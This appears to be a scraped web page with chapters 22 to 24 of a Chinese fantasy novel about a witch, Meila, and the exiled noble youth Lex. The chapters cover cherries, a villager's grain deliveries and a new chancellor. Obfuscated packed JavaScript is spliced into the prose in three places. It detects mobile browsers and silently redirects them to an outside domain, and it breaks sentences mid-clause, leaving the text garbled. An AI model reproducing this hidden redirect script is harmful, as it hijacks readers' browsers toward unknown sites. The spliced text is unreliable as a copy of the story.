但莱克斯想到食谱上写过一道菜,叫丁香樱桃糊,做法并不难,只需要将樱桃加热到变软,再放入棉布袋中,丢入锅里煮上几个小时,期间不断搅拌,让流出来的汁液变得浓稠,再加入蜜糖与丁香粉便大功告成了。* 这样一来,即使是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742902|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酸涩的野樱桃,也能变得甜蜜,符合梅拉的口味。 于是莱克斯背了整整一筐野樱桃回来,那几棵野樱桃树的树枝上现在变得空荡荡的,一颗不剩全让莱克斯给摘走了。 梅拉不知道这野樱桃尝起来是酸涩的,光看外表,虽然它们的个头小了点,但红艳艳的看起来格外好吃的样子。 因此梅拉从莱克斯背着的筐里抓了一大把野樱桃,想了想,她又去把自己的篮子拿来,将这些樱桃装了进去,方便黑狼待会儿叼着走。 “这些樱桃你就带回去吃吧。”梅拉笑吟吟地道。 虽然黑狼给她送猎物来是为了报恩,但她也不能一点表示都没有,正好,狼应该吃果子吧?想到这,梅拉十分大方的给黑狼塞了满满一篮子樱桃。 莱克斯本来可以提醒梅拉,这些野樱桃的口感其实不太好,给狼吃大概会酸得一张狼脸都皱起来。 但他想到之前梅拉提起过,加上这一次,她已经是第二次帮这头黑狼了。 彼时梅拉刚到黑暗森林不久,还在四处查看这里有哪些有用的草药,却意外撞见了刚离开狼群,独自狩猎,结果因为经验不足,导致不小心让盯上的猎物伤到自己腹部的黑狼。 当时黑狼奄奄一息地躺在地上,腹部被顶开了一道大口子,正源源不断地往外流血。即使如此,见到梅拉想要靠近自己,它还是使劲呲出獠牙,试图吓走这个胆大包天的人类。 然而梅拉根本不怕它,直接走过去,蹲下来拍拍黑狼的头,像平时教育不听话的塞拉斯一样,“不准凶,给我乖乖的。” 黑狼哪里受过这种侮辱,顿时气得恨不得爬起来,给梅拉来上一口。 可惜它现在已是强弩之末,别说站起来了,突然爆发的怒火也只让它蹬了几下腿,根本立不住。 “哎呀,你怎么这么不听话?看看你这一动,伤口流出来的血都变得更多了。”梅拉又拍了黑狼一下。 但她也没有再耽搁,掏出随身携带的治愈药剂,拔开木塞,往黑狼嘴里倒了几滴。 几乎是眨眼的功夫,黑狼的伤口便不再往外流血,等再过了一会儿,伤口竟然隐隐开始有要愈合的趋势。 “很快你的伤就能好了。”梅拉笑眯眯地逆着摸了摸黑狼背上的毛,又飞快地揉乱,总之把黑狼身上搞得乱糟糟的。 也就是黑狼这会儿还没力气,没法躲开她的魔爪,只能眼睁睁地看着梅拉揉开心后,哼着歌就这么走了。 后来,梅拉没再遇见过黑狼,但总有一道视线会在她离开小木屋,深入黑暗森林的腹地之后紧紧地跟着她。 梅拉知道,是那头被她救了的黑狼在暗中保护她。 而听了这番话的莱克斯忽然想起来几年前,他与梅拉救下巴奇时,那道令他感到不适的视线,当时他只以为自己是被不知名的野兽给盯上了,还在暗中防备,防止被扑个正着。 结果一路回到小木屋,都没有出现意外。 原来盯着他的就是黑狼。莱克斯若有所思地想到,并且顺带想起来自己后来外出狩猎,曾有过猎物不见了的情况。 应该也是这头黑狼干的吧。 说不定是它觉得盯了莱克斯这么久,正好饿了,就顺带把莱克斯的猎物给叼走了。 于是莱克斯眼睁睁地看着黑狼叼着篮子的身影消失在了树林之间,一句多余的话也没和梅拉说。 却在梅拉试图拿一颗樱桃塞入嘴里尝尝味时,伸手拦住了她,“除了丁香樱桃糊,我忽然觉得做羊肉樱桃羹也很不错,可惜这些樱桃的数量太少了,也不知道够不够用。” “那我下次再让杜克瓦托多带点樱桃过来吧。”梅拉恋恋不舍地把手里的野樱桃放回筐里,同时忍不住期待莱克斯说的丁香樱桃糊和羊肉樱桃羹到底有多好吃。 唉,一想到等莱克斯离开之后,又要回到让塞拉斯掌勺的日子,梅拉就恨不得天天换着法让莱克斯多做几道菜。 ——不然她还是重新捡起如何让塞拉斯变成人的研究吧。 22. 第 22 章 又到了每月一度,霍尔往黑暗森林送粮食的日子。 这些年,他堪称风雨无阻地按照约定前来,从来没有拖延过一回。 莱克斯还记得有一年初雪提前降临,呼啸的冷风裹着大朵大朵的雪花往下落,才过了两天,地上的积雪就堆了厚厚的一层。 明天就是霍尔来送粮食的日子,莱克斯望着小木屋前的空地上,厚度足足淹过了半截小腿的积雪,心中不免有些担忧,霍尔是否还能带着粮食准时前来。 毕竟这么厚的积雪,人走在上头都行动不便,更别提还要推一辆载满了粮食的木板车了。 “放心吧。” 反倒是梅拉跟个没事人一样,端着茶杯走过来,站在莱克斯身旁,淡定地呷了一口茶水,“霍尔一定会来的,他还得找我拿下个月要用到的变形药剂呢。” 真的吗? 莱克斯抱着半信半疑的态度,来到第一次见到霍尔的那棵树下,远远地就瞧见了一个黑色的圆点在主动朝着这个方向靠近。 等他再走近一些,顿时露出了霍尔那张眼熟的脸。 看来梅拉说得没错,这三瓶变形药剂对霍尔来说确实很重要,莱克斯心道。 而瞧见已经站在树下的莱克斯,霍尔脚下立刻加快了前进的速度,为了推动这满满一车的粮食,他额上的青筋都崩出了好几根。 莱克斯倒也没有站在原地干等着,他快步上前,帮了霍尔一把,两人合力将木板车推到了树下。 “呼,呼。”总算能停下来歇一会儿了,霍尔大口喘着气,明显是累坏了。 难怪霍尔会这么累。 莱克斯握了握拳头,掂量了一下刚才推车时感受到的重量,觉得若是换成自己,大概也不会比霍尔好到哪去。 又想到霍尔一路从村子到这里,全靠自己一个人推着木板车,地上还有如此厚的积雪,说不定天还没亮就起来赶路了。 当然,对霍尔来说,这一切的辛苦在见到莱克斯掏出来的三瓶变形药剂后,立刻化为了乌有。 霍尔忙不迭地从莱克斯手中把药剂接过来,宝贝地塞入怀里,还刻意给它们挪了挪位置,防止自己走动时不小心让三个玻璃瓶撞到一起,出现了裂痕。 见霍尔如此宝贝这几瓶变形药剂,正常人难免会感到好奇,莱克斯也不例外。 变形药剂,顾名思义就是喝了能改变外表的一种药水,可莱克斯看着霍尔长的这一张,和他的名字一样平平无奇的脸,总觉得这不应该是他喝了变形药剂后捏造出来的面孔。 尤其霍尔既不是出了名的神偷,也不是需要改头换面以此躲避追捕的逃犯,他就是土生土长在附近某个村子里的村民,因此霍尔每个月都大费周章地找梅拉换取变形药剂的这一行为,在莱克斯这里就透着十足十的古怪。 “怎么了?我的脸上沾了什么脏东西吗?” 注意到莱克斯的视线一直停留在自己的脸上,霍尔下意识的往自己身上找原因。 “没有,是我刚刚不小心走神了。”莱克斯面不改色地找了个借口,随意地搪塞了过去。 他知道霍尔会相信的。 果然,霍尔点了点头,压根没提出任何疑问。 哪怕他刚才明明感觉到莱克斯的视线是凝聚而不是分散的,根本不像是他说的走神,但既然莱克斯这么说了,霍尔觉得莱克斯自然有他的理由。 霍尔的性格就如他的外表一样憨厚老实,是让人看了就认为值得信任的那类人。 也正因为霍尔是个老好人,当初在深夜的小路上遇到梅拉时,便没有怀疑她的身份,还觉得她一个年轻的姑娘独自在外容易遇到危险,主动提出要用自己的木板车送她一程。 即使后来得知她想去的地方是危机四伏的黑暗森林,霍尔还是咬牙答应了下来。 * 这回因为既没有突如其来的暴雨,也没有大雪的阻挠,霍尔来得比莱克斯还要早。 他站在树下,身旁就是满满一车粮食,见到莱克斯出现,还笑着和他打了声招呼。 “一个月不见,你好像又长高了啊。” 霍尔还记得上个月与莱克斯见面时,他只比自己高了半个额头,现在一看,莱克斯都已经比他高了大半个脑袋了。 简直比施了肥之后的小麦还要长得飞快。 “嗯。”莱克斯听了霍尔这话,想到梅拉也是这么说的。 因为天天都能见到对方,梅拉起初对莱克斯长高这件事并没有太大的感觉,毕竟莱克斯的身高也不是蹭的一下忽然拔高的。 随着梅拉一点点抬头,到最后不得不仰着脖子和莱克斯说话时,她才惊觉莱克斯竟然都长得这么高了。 眼瞅着都快赶上杜克瓦托了。 “我也没给你喝的水里偷偷倒生长药剂啊,怎么就能长得这么高。”梅拉低下头,用自以为只有一个人听见的音量嘀咕道。 在梅拉过去那些年见到的成年男子中,像杜克瓦托这样高大的身材才是罕见的存在,大部分也就比梅拉高半个脑袋——又因为梅拉是女人中难得一见的高挑身材,比她矮的男人她也见过不少。 梅拉曾经还拿这个当借口,拒绝了不少比她矮的追求者,不过话又说回来,哪个女人会喜欢比自己矮的丈夫呢? 至少梅拉决不能接受。 其实把梅拉的嘀咕听得一清二楚的莱克斯:“……” 原来梅拉曾经还想过偷偷往他喝的水里倒奇奇怪怪的药水吗? 他还以为梅拉不会做这么幼稚的事情。 现在看来是他高估梅拉的恶劣了。 在捉弄人这方面,梅拉可以说有着无穷的兴趣。 “对了,梅拉说,从下个月开始,变形药剂的价格她要往上翻一倍。”把这个月的三瓶变形药剂递出去的同时,莱克斯向霍尔转述了梅拉的话。 事实上,梅拉有涨价的念头已经很久了,自从通过杜克瓦托得知外头的物价飞涨,如今一枚金币能换一百枚银币,一枚银币能换四百八十枚铜币后,梅拉就再也按捺不住了。 “涨价!必须涨价!”梅拉单手支着腰,分外理直气壮。 虽然炼制变形药剂的原材料都是梅拉从黑暗森林各处薅来的,几乎没有投入多少资金,可以说是一门一本万利的生意。 但是如今物价飞涨,再按老价格把东西卖给霍尔,梅拉便有种自己吃亏了的感觉。 “我可以不主动占别人的便宜,但别人绝不能占我的便宜。” 这么多年过去了,梅拉还是这副吝啬的样子。 不知道为什么,莱克斯却有种安心的感觉,就好像不管外面的世界如何变化,梅拉总不会变。 不过,当莱克斯把这个不幸的消息告诉霍尔后,霍尔果然如莱克斯猜测的那样皱起眉头,陷入了短暂的沉默之中。 毕竟一瓶变形药剂的价格可不便宜,三瓶变形药剂加起来,都能买他这满满一车的粮食了。现在梅拉还要涨价,那他下回起码得拉两车的粮食来才行。 就算是手握一大片肥沃的土地,每年产出来的粮食都能把仓库堆满的霍尔,也不免感到一阵肉疼。 莱克斯本以为霍尔会试图和他讲价,或是请他向梅拉求情,然而霍尔的举动却出乎他的意料。 只见霍尔松开了紧皱的眉头,颇为赞同地点了点头,“梅拉小姐说得没错,她已经以这个价格卖了我这么多瓶变形药剂,是我占了她的便宜。” 不仅如此,霍尔还露出了十分懊恼的表情。 梅拉住在黑暗森林里深居简出,不知道外头的物价很正常,可他霍尔却是一直住在村子里,常年和粮食商人打交道,但他竟然没有早早地想到这一点,还占了梅拉这么久的便宜。 这真是太不应该了。 莱克斯的第一反应还以为是自己听错了,否则怎么会有人像霍尔这样,竟然替要赚自己钱的人如此设身处地地着想。 但他转念一想,这么做的人是霍尔,又觉得不愧是霍尔会做出的反应。 “说起来,最近王国里出了什么事吗?”莱克斯状似不经意地向霍尔打探到。 自从听到杜克瓦托说王国的物价飞涨时,莱克斯就察觉到了不对劲。 明明自从斐南基成为宰相之后,一直有在刻意地稳定金银铜三种钱币的兑换比例,避免其出现太大的波动。 金币的价格偶尔涨一涨是好事,这意味着同样一枚金币,能换到的东西更多了,但如果金币的价格一直飞涨,可就是坏事了。 或许对于底蕴丰厚的贵族们来说,短期内还能咬咬牙坚持住贵族的体面,但对于一年下来也未必能攒下几枚金币的平民们来说,这就是濒临破产的前兆。 平民们一旦破产,就会免费沦为当地贵族们的奴隶,在贵族眼里简直是件再好不过的事,他们不花一枚铜币就收获了许多能干活的劳力。 然而身为宰相,斐南基决不能允许这种事的发生。 平民的数量一旦减少,每年上交给国王的税金也会跟着骤降。 毕竟奴隶是不准拥有属于自己的财产的,他们的一切,包括身体都是属于贵族的私有物。 而贵族,他们肩负着为国王守卫一方领土的责任,是不需要向国王陛下缴纳税金的。 若是没了大把大把流入王宫宝库的金币,国王怎么养得起他的军队?那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与此同时,又因为粮食变贵了,其它东西的价格也跟着水涨船高。 本来供养一大家子人就吃力,现在更是有不少平民直接因此而破产,不得不去到领主或者其他贵族的庄园上,成为他们的奴隶,为他们卖力地干活。 像霍尔认识的一个别的村子的人,曾经捏着比他还多的土地,养了七八个孩子,结果也不知道怎么回事,突然就没钱了,不仅土地全被收回了领主的手里,还倒欠领主一大笔债务。 只不过因为他一家子都成为了领主手下的奴隶,这笔债务也就不需要还了,谁让奴隶没法拥有属于自己的财产呢?债务也是财产的一种。 听到这个消息的霍尔当时吓得心脏都多跳了几下,最近过得越来越谨慎,生怕一不小心也和这人落到了同一个下场。 霍尔可不舍得他柔弱的妻子和他一起去当奴隶。 更何况,沦为奴隶之后,再想成为平民,那可比登天还难。 除非领主开恩,或是这名奴隶为王国创造了巨大的贡献,否则他辈子,包括他的孩子们,以及孩子的孩子,都只能继续当卑贱的奴隶。 后来霍尔在嘟囔些什么莱克斯已经忘了,或者说他根本没有多余的心情再关注这些,他满脑子里只剩下那一句“一年前国王陛下换了一个新的宰相”在盘旋。 斐南基被换了? 为什么? 哪怕是他还在王宫里,斐南基顶着努伦格尔九世的怒火为他求情了那么多次,努伦格尔九世再是恨斐南基恨得牙痒痒,也不曾找另一个愿意听话的贵族来顶替斐南基的宰相位置。 毕竟听话的贵族有很多,但像斐南基一样有真材实料,能替他打理好一个王国的贵族却少得可怜,不如说翻遍整个王国,努伦格尔九世都不可能再找到第二个斐南基了。 “那个新换上来的宰相叫什么名字?”莱克斯听到自己冷静地问。 “安东尼奥·裘德。”霍尔努力地想了想,从记忆的角落里翻出了这位大人物的名字。 虽然是一人之下万人之上的宰相,但这种大人物对霍尔来说,是他这辈子都碰不上的人,他的名字还不如邻居家的牛值得在意。 原来是裘德家族的人。 莱克斯的眼底燃着暗火,心底却有种果然如此的感觉。 因为那位把努伦格尔九世迷得颠三倒四,前王后的葬礼刚举办了没多久,就迫不及待将人娶进来的继王后的名字,正是伊莉雅·裘德。 23. 第 23 章 在莱克斯去见霍尔的时候,梅拉正在小木屋里翻看他前些日子新抄好的笔记。 这其中有梅拉花大价钱,拜托杜克瓦托从不为人知的渠道买来的某位女巫遗落在外的手札,也有正常途径下,通过商人从某位医士后代手中买到的家族世代相传的笔记。 和女巫们向来喜欢记录自己天马行空的想法相比,医士们的笔记就要严谨多了,上头往往记载了某种草药的名字,药效,产地,以及相应的药方。字迹的一旁还附有插图,方便后代在学习时进行记忆和辨认。 只不过随着时间的流逝,曾经鲜艳的笔触已经褪色,斩钉截铁的线条也变得模糊不清。 本来梅拉只打算让莱克斯誊抄字迹的部分,没想到就连插图,莱克斯都一丝不苟地复原了出来。 不仅如此,莱克斯画得可比原来简陋的插图好多了,哪怕是花瓣上深深浅浅的纹路都清晰可见。 梅拉觉得,任何一个看过莱克斯所画插图的人,即使没有见过实物,也不可能会辨认错长相相似的两种药草。 撇开栩栩如生的插画,莱克斯的字迹俨然值得额外的收藏,华丽的弧度和流畅的笔锋,让人光是阅读都觉得仿佛是一种享受。 与莱克斯一看就接受过良好贵族教育的字迹相比,梅拉的字就显得颇具个人特色,潦草中又带着一股自由的风气。 面对莱克斯欲言又止的眼神,梅拉仍然是一贯的理直气壮,“我又不在乎字写得不好看会被手底下的贵族们嘲笑,反正我本来就是平民出身,没受过专门的书写训练不是很正常的事吗?” 别说接受专门的书写训练了,就是最基础的识字这一方面,绝大多数平民受到的教育也和莱克斯不同。 如果说莱克斯泡在浩瀚的藏书之中,接受了最全面的识字教育,那梅拉的识字就是从认识草药的名字开始,她能写出最生僻的草药名,却不一定能成功拼写出“塔夫绸”这个单词。 除了贵族和有钱的商人之外,谁会舍得花大价钱买这么贵的布料做一身衣服? 梅拉从小到大都穿着麻布织成的衣裙,唯独睡裙是威普多特意给她买的棉质的,所以她到现在也只会拼写麻和棉这两个单词。 只不过因为相处的时间尚短,梅拉表现出来的样子还是很能唬人的。 直到有一天,梅拉忽然指着书上的一个单词,问莱克斯这是什么意思,莱克斯才终于发现,原来跳出梅拉熟悉的领域后,那些又臭又长的文字对她来说全然是陌生的存在。 “这个单词的意思是古典主义,你之前难道从没发现它和这本书写在封面上的第一个单词一模一样吗?”莱克斯的面色有些复杂。 如果说梅拉不认识这个单词的话,那她到底是怎么做到捧着这本书津津有味地看了快一个月的? “啊,真的一模一样呢!”在莱克斯的指点下,梅拉把书合上,特意去看了封面的第一个单词,结果还真是。 “原来这本书的名字叫《古典主义时期的爱情》*,我一直就把它叫做《爱情》,反正就是一男一女互相喜欢又不得不分开,最后一个孤独终老一个英年早逝的故事嘛。” 梅拉一点也没有为自己在莱克斯面前暴露出了知识上的短板而感到自卑,这么复杂的单词,她不认识是多么正常的一件事啊。 虽然梅拉说的没错,故事就是这么一个故事,主题也与爱情有关,但莱克斯就是有点难以接受梅拉在他眼里突然变成了半个文盲这一事实。 就好像一条做工精致的宝石项链,忽然发现上头有了一道并不完美的裂痕一样。 “莱克斯,你看起来好像很失望的样子。” 梅拉的双手搭在墨绿色的书封上,她则兀自微笑着凝望着莱克斯,仿佛一幅笔触艳丽,值得挂在走廊受到身份尊贵的客人们长久欣赏的肖像画。 “可是我不是早就告诉过你了吗?我只是一个医士的女儿,是你们贵族看不起,觉得没有礼仪与教养,连自己的名字都无法正确拼写,绝不愿意通婚的平民。”梅拉悠悠地道。 是的,她并不是什么名贵的肖像画,而是长在山野间的一朵漂亮的花。 虽然与众不同的美貌使得路过她的人们,即使是那些向来眼高于顶的贵族,都愿意驻足在她身边,流连这抹世间罕有的美丽,但她生来就不是长在昂贵的花瓶里,或是受到重重封锁的王宫花园中,需要精心呵护的花朵。 “能看懂,还能写出这么多的字,对像我这样的平民来说已经算得上很了不起了。” “即使是像这样一本在你看来毫无营养的爱情小说,”梅拉的指尖轻轻地划过粗糙的书封,一抹嫣红在珍珠白的甲床下流动,她冲莱克斯露出一个轻巧的笑容,“整个白松镇,也没有多少人能看明白上头书写的内容。” 说这话时,梅拉无疑是骄傲的,毕竟就像她说的那样,翻遍整个白松镇,能看明白这么厚厚一本爱情小说的人也找不出几个。 而梅拉之所以能看懂这本书,还是她后来学习了更多单词的缘故。否则以她过往从医士笔记和女巫手札中学到的知识,和爱情小说完全是八竿子打不着的内容。 换做另一个人,也未必有梅拉这样旺盛的好奇心,愿意学习别的东西。 说白了,人是很容易被自己的眼界限制住的,当他是一个杀猪匠时,他每天想的只有怎么更好地把一头猪开膛破肚;当他是一个税务官时,他满脑子都是今年能收上来多少税金;当他是一个牧师时,他的眼里心里都只有教会分发下来的经义。 所以梅拉不认识与草药、星象、预言等知识相关的古典主义这个单词,不是理所应当的吗? 可是话又说回来,如果不是因为梅拉的祖父早早地去世了,威普多愿意将梅拉作为自己唯一的继承人从小培养,她不可能懂得这些草药与治病救人的知识。 如果梅拉不是意外在山上遇上了那个神秘的女人,又用自己的聪慧得到了她的认可,她也不可能懂得星星运行背后的意义,不可能读懂水晶球里烟雾幻化出来的景象所饱含的深意。 现在莱克斯竟然要因为梅拉不懂得一个在他眼里看起来非常简单的单词而对她失望,梅拉微微眯起眼,毫不客气地质问回去,“你凭什么对我感到失望?” “就因为你懂得我不懂的东西?那你会拼写耀星环百合吗?知道把魔球草埋在积雪下一个月后就能获得自然变色的雪色魔球草吗?” 莱克斯让梅拉问得哑口无言。 “你瞧,你也不是完美的,可在我眼里,你能打扫干净这座小木屋,能及时找出我想要的小东西,还能帮我照顾好种在花盆里的植物们,就已经是令我感到满意的莱克斯了。” 莱克斯的嘴唇动了动,似乎想说点什么,可在看到梅拉的眼睛时,又止住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753814|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那曾经在他看来像幽深的潭水一样可怖的绿色,如今简直闪着剔透的智慧的光。 “好了,作为让我生气的报复,你,来给我把这本书剩下的内容读完。”梅拉屈起食指,叩了叩书本,示意莱克斯现在就过来拿起这本书,完成她下达的命令。 莱克斯乖乖地走了过来。 他现在已经十五岁了,身量早就和十二岁时男孩的模样不可同日而语,挺拔得像一棵茁壮成长的雪松,连原本青涩的线条都被拉长,形成分明的棱角,眉目间隐隐具备了一股令人不敢质疑的气势。 导致曾经还敢光明正大地欺负他的塞拉斯,渐渐只敢在口头上占他的便宜,还必须站在窗台这样随时能展翅飞走的地方,防止莱克斯把它抓到手心里欺负回来。 而就是这样一个气质卓尔不凡,相貌英俊,活像是从故事中走出来的少年,正捧着一本爱情小说,读得磕磕绊绊。 “……科里森哀伤地看着他的爱人,不敢置信她那对柔软的唇瓣怎么能吐出如此冰冷残酷的语句……” 瞥见莱克斯耳垂上的薄红,梅拉得意地挑眉,看,她成功地报复到了莱克斯,让他读这些令他感到羞耻的文字,以至于额头都冒起了一层细汗。 而原本令梅拉觉得有些乏味的故事走向,此刻突然显现出了另一种值得拍手称赞的趣味。 * 莱克斯带着满满一车粮食,以及霍尔的答复回来了。 听莱克斯说霍尔同意了她要涨价,梅拉漫不经心地点了点头,一点也没感觉到意外。 比起这个,她更关心霍尔这次送来了哪些粮食。 “西红柿、豆子、球茎……”梅拉托着下巴,望着敞开的麻袋中,颜色形状各异的食材,“我决定了,明天想吃烘豆饼!” 梅拉所说的这个烘豆饼,做法并不难,其实就是普通的豆饼,再在制作的时候加上牛乳、白砂糖、黄油、肉桂这类昂贵的材料,最后烘烤出难以抗拒的香气。 “塞拉斯也要吃!”塞拉斯积极地附和道,回忆起曾经吃过的美味的烘豆饼,它差点连口水都要从嘴角流出来了。 “好,那我明天就做烘豆饼当晚餐。”莱克斯点头。 不过他很快又问道,“那今晚的晚餐吃香煎水果丸子怎么样?” 正好他看到霍尔送来了半袋子葡萄干,还有别的一些当季的水果。 梅拉和塞拉斯没有异议,一致同意了莱克斯的这一提议。 香煎水果丸子混合了太多水果的香气与清甜,又被油一煎,煎出了无与伦比的留香,以至于哪怕陷入了深沉的睡梦中,都好像涂抹上了一层甘美的水果的汁液。 只不过梅拉的这个美梦被突然响起的敲门声给打断了,她迷迷糊糊地睁开眼,还没彻底醒过神,就下意识地指使莱克斯,“莱克斯,快去开门,看看是谁大晚上的来找我。” 莱克斯早在听到第一声敲门声时就有了醒来的迹象,如今听到梅拉的声音,眼中更是褪去了最后一点迷蒙,他走到门后,谨慎起见,只拉开了一条缝,方便看清外头站着的人影。 “谁?” “是我!”门外的人急切地道。 “霍尔?你不是回家了吗?怎么突然返回来了?不对,你是怎么找到小木屋的?” 梅拉听到门外响起的声音,立刻掀开身上的毯子站了起来,眼中布满了浓浓的疑问。 24. 第 24 章 霍尔后来无数次回想起初次遇见梅拉的那一夜,都无比庆幸,自己最终还是选择了答应送她一程。 虽然寂静的深夜里,除了霍尔与他的驴之外空无一人的道路上,一名少女突然从路边的草丛中扑出来,怎么看都显得有些怪异,换做其他人,估计会马不停蹄地驱赶驴子快点离开,生怕招惹上什么麻烦。 但谁让梅拉如此幸运,碰到的竟然是霍尔呢。 霍尔的名字在附近的几个村子里,和老好人的招牌无异,无论是谁拿着鸡零狗碎的事情找他帮忙,霍尔都不会觉得不耐烦,还会热心地帮人把事情给解决了。 因此霍尔虽然觉得梅拉的来历大概有些古怪,却实在狠不下心来放着她不管。 毕竟梅拉的样子看起来正是非常需要人帮助的时候。 只见那头火红的长发凌乱地披在她的身后,麻布织成的黑色罩裙到处让带刺的枝叶划拉出细碎的口子,连鞋子都沾满了软烂的泥巴。 霍尔很确定今天附近数十公里内的区域压根没有下雨,也就是说,梅拉起码是从离这数十公里外的地方一路走过来的。 ……也有可能是逃,否则也不至于把自己搞得这样狼狈。 忽然,梅拉的怀里好像有什么活物动了一下,吓了霍尔一跳。 呃,霍尔揉了揉眼睛,确认不是自己眼花了后,又仔细地往梅拉怀里瞧了好几眼,才终于辨认出来那团黑压压的东西原来是只乌鸦。 也不知道是什么原因,让它在梅拉怀里蜷缩了起来,再加上身上黑漆漆的羽毛快和黑暗融为一体了,这才让霍尔一开始忽略了它的存在。 “这是你在路上捡的吗?”霍尔忍不住指了指那只乌鸦。 “不,它是我的宠物。”梅拉摇头,没有选择对霍尔撒谎。 除了因为霍尔身上散发着浓烈的好人气息,让梅拉觉得就算说真话也没关系之外,其中也不乏存了一点试探的心思,她想看看霍尔的反应。 梅拉也没想到自己一路挑了最偏僻的小道逃走,好不容易甩脱了身后的追兵,打算趁着深夜绕到大路上,让格奥鲁多主教和菲斯特子爵派出来的那些人继续在森林里像无头苍蝇一样兜圈子时,竟然猝不及防遇见了驾着驴车归家的霍尔。 如果不是霍尔先一步出声,“抱歉抱歉,没有吓到你吧?” 梅拉大概会第一时间对他下一个昏睡咒。 以防万一,在彻底去到黑暗森林之前,梅拉并不想泄露自己的踪迹。 “没关系,是我不小心吓到你的驴了吧?”梅拉边说边不着痕迹地打量了霍尔好几眼。 光从长相来说,眼前这个男人找不出什么令人过目不忘的特点,棕发、褐眼,过于宽大的颌角和浓密的眉毛,梅拉见过的男人里十个有六个都长这个模样。 再看他身上穿的衣服,大概率是附近的村民没跑了。 “没事,没事,我的多尼克不是这样胆小的性格。”霍尔伸手摸了摸驴的脖子,像是安抚。 这头名叫多尼克的驴也十分给面子,轻轻地喷出温热的鼻息,水润的眼珠子静静地看着梅拉。 全然没有刚刚看到梅拉突然窜出来,惊慌失措的样子。 真是一头好驴。梅拉在心中夸道。 “不过,你刚刚说你怀里的这只乌鸦是你的宠物,”霍尔挠了挠头,“会养乌鸦当宠物的人可不常见啊。” 起初人们不喜欢乌鸦,是因为它们喜欢吃腐肉。 后来却是因为在与女巫有关的传言中,身边总是飞着一只乌鸦。 它们会在主人折磨普通人的时候发出捧场的笑声,有时还会充当女巫的帮凶,啃食她们捉来的人,让那人发出痛苦的嚎叫用以取乐自己的主人。 渐渐的,乌鸦在人们的眼里也就成为了不幸与厄运的象征。 不过么,霍尔内心里对这些传闻并不太相信。 都说女巫会把她见到的普通人统统抓起来折磨,从没有谁能逃出她们的手掌心。如果这是真的,那这些传言到底是通过什么办法传出来的呢? 倘若传出这些流言的那个人见了女巫还能活下来,岂不正说明了女巫并不像传闻中描述的那样残忍暴虐吗? 也因此,哪怕听到梅拉亲口说了怀里的乌鸦是她的宠物,霍尔也没有往她是女巫的方向进行糟糕的揣测。 不仅如此,霍尔甚至主动提出可以捎她一程:“年轻的小姐,这么晚了,一个人赶路不方便,你不如搭我的车一起走吧。” “你是说,你愿意带我一起赶路?”霍尔的反应比梅拉原本设想的还要意外。 她都做好了霍尔露出防备的准备。 “当然,这大晚上的,怎么能放任你一个年轻的姑娘自己走呢?这也太危险了。”霍尔道。 梅拉能看得出来,霍尔说的话都是真心的。 她也确实想借他的车坐一坐。 要知道从白松镇一路逃跑到现在,如果不是梅拉从小习惯了在山上爬上爬下,拥有异于常人的体力,估计还没跑出多远就得活生生累晕了。 其实要是塞拉斯的翅膀没有受伤,梅拉倒是可以让它带着自己直接飞往黑暗森林。 偏偏那个可耻的告密者为了提防塞拉斯这个宠物给梅拉报信,提前捉住了它,还把它关了起来。 塞拉斯废了老大劲,用嘴把笼子的栏杆咬弯,又不顾缝隙不够宽,硬生生挤了出来,把翅膀都折伤了,最后总算逃到山上找到了梅拉,告诉她千万别回去了,格奥鲁多主教和菲斯特子爵派了数百名骑士来捉拿她这个藏在白松镇的女巫。 梅拉听了,顾不得别的,趁他们还留在镇上打算等她回去来个瓮中捉鳖时,抱着受伤的塞拉斯一路逃亡。 也多亏了塞拉斯为梅拉争取来的宝贵时间,否则她能不能这么顺利甩掉那些追兵,还不一定。 “谢谢。”想到那些不知道有没有放弃的追兵,梅拉不再多作犹豫,一只手依旧抱着塞拉斯,另一只手则撑在木板车的边沿,一跳,整个人便坐上了木板车的后方。 她的双腿则悬在了半空中,随着木板车的前进而微微摇晃。 “哈哈,不用谢。”霍尔笑了两声,驱使多尼克按着原定的方向拖着木板车往前走去。 “虽然不知道你打算去哪,但现在时间这么晚了,不如先来我家休息一个晚上吧。”霍尔向梅拉发出了邀请。 等到明天天亮了,他再送梅拉去她想去的地方也不迟。 不过,霍尔考虑到自己的情况,觉得还是得提前和梅拉说明一下,“就是吧,我家里目前只有我一个人。但你放心,我父母以前住的房间是空着的,也收拾得很干净,等你住进去了可以把房门也一起锁上。” 这样梅拉就不用担心住到他一个陌生男人家里不安全了。 “不用了。”谁知梅拉却拒绝了霍尔的好意。 她也是为了霍尔着想。 假设那些追兵没有放弃对她的追捕,那他们极有可能顺着踪迹一路找到霍尔的村子,甚至直接找到霍尔的家,梅拉想,她还是不要给霍尔找麻烦了。 好人总该有好报吧? “那你打算去哪?”霍尔犹豫了一会儿,觉得不然今晚他就好人做到底,干脆把梅拉送到她想去的地方再回家好了。 